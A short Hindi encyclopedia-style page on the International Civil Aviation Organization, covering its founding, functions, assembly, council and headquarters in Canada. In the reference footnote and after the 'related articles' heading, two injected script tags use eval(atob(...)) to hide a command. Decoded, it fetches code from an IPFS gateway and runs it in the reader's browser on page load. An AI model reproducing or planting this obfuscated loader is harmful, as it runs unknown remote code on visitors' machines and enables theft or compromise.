अंतरराष्ट्रीय नागरिक उड्डयन संगठन
अंतरराष्ट्रीय नागरिक उड्डयन संगठन संयुक्त राष्ट्रसंघ से संबद्ध है। इसका गठन 4 अप्रैल, 1947 ई. को हुआ था, यद्यपि इसी नाम और उद्देश्य से एक कामचलाऊ संगठन 1945 ई. से ही काम कर रहा था।
प्रमुख कार्य
शिकागो में नवंबर-दिसंबर, 1944 ई. में हुए अंतरराष्ट्रीय नागरिक उड्डयन सम्मेलन में ही इसके निर्माण का विचार कर लिया गया था। इसके प्रमुख कार्य निम्नलिखित हैं-
- नागरिक उड्डयन की सुरक्षा और कुशलता के लिए विशिष्ट मापदंड स्थिर करना।
- राष्ट्रों की सीमाओं पर निर्दिष्ट बंधनों का सरलीकरण।
- अंतरराष्ट्रीय उड्डयन के लिए नौकरियों का क्षेत्र विस्तृत करना।
- हवाई यातायात की सांख्यिकी और उड्डयन के आर्थिक पक्ष का अध्ययन प्रस्तुत करना तथा
- यातायात संबंधी नियमों में विकास आदि हैं।
संगठन के अंग
यह विभिन्न राष्ट्रों को उनके नागरिक उड्डयन कार्यक्रमों के लिए तत्संबंधी विशेषज्ञों की सम्मितियाँ भी उपलब्ध कराता है। संगठन का प्रमुख अंग एक असेंबली है, जिसमें संगठन के सभी सदस्य राष्ट्र हैं तथा एक परिषद् है, जिसमें तीन वर्षों के लिए असेंबली द्वारा चुने 27 राष्ट्र होते हैं। इसका प्रधान कार्यालय कनाडा में है।[1]
टीका टिप्पणी और संदर्भ
- ↑ हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>